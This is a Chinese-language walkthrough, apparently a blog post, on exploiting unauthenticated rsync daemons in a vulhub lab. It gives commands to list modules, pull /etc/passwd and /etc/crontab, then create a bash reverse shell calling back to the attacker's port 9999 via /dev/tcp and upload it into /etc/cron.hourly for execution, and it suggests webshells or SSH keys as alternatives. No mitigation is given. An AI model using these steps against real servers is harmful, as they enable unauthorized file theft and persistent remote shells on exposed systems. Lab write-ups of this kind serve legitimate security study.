rsync未授权访问漏洞利用-getshell


漏洞简介

rsync(remote synchronize)——Linux下实现远程同步功能的软件,能同步更新两处计算机的文件及目录。在同步文件时,可以保持源文件的权限、时间、软硬链接等附加信息。常被用于在内网进行源代码的分发及同步更新,因此使用人群多为开发人员;而开发人员安全意识薄弱、安全技能欠缺往往是导致rsync出现相关漏洞的根源。
rsync默认配置文件为/etc/rsyncd.conf,常驻模式启动命令rsync –daemon,启动成功后默认监听于TCP端口873,可通过rsync-daemon及ssh两种方式进行认证。

rsync未授权访问带来的危害主要有两个:一是造成了严重的信息泄露;二是上传脚本后门文件,远程命令执行。

环境搭建

靶机:kali 192.168.200.128

攻击机:centos 192.168.200.133

进入vulhub 启动

cd vulhub/rsync/common
docker-compose up -d 

未授权漏洞复现

1.可以使用nmap去扫描该端口是否开启服务

还可以使用Metasploit中关于允许匿名访问的rsync扫描模块:

auxiliary/scanner/rsync/modules_list

2.使用显摆你的命令,可以列出目标靶机的同步目录、查看模块文件

rsync IP::   //这是在默认条件下没有改变默认的端口,默认密码是::
rsync --port=xxx ip::  //如果修改了默认端口就需要指定端口,这里就是需要自己指定47900端口
rsync -avz ip::www /tmp   //-avz是下载文件的命令,前一个是目标内容,后一个是自己指定存储在本地的路径
rsync -avz --port=xxx ip::dddd /tmp
rsync ip::
rsync rsync://ip:873


3.下载敏感文件
rsync -av rsync://192.168.200.128:873/src/etc/passwd ./

上传文件反弹shell

1.查看crontab配置文件

rsync rsync://ip/src/etc/crontab

2.下载文件

rsync -av rsync://ip/src/etc/crontab /root/crontab.txt(/root/crontab.txt为下载路径)

其中

17 * * * * root cd / && run-parts --report /etc/cron.hourly

表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令
3.我们可以这样写一个shell 反弹到攻击机9999端口

touch shell
//文件写入反弹shell命令
!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.200.133/9999 0>&1

chmod 777 shell

给他执行权限

4.传入/etc/cron.hourly目录下,监听端口。

rsync -av shell rsync://192.168.200.128:873/src/etc/cron.hourly
![](https://img2022.cnblogs.com/blog/2455805/202203/2455805-20220303124624277-1928183634.png)
![](https://img2022.cnblogs.com/blog/2455805/202203/2455805-20220303124651196-1620755389.png)


此外如果目标有Web服务的话,可以直接写WebShell,或者可以通过写ssh公钥实现获取权限。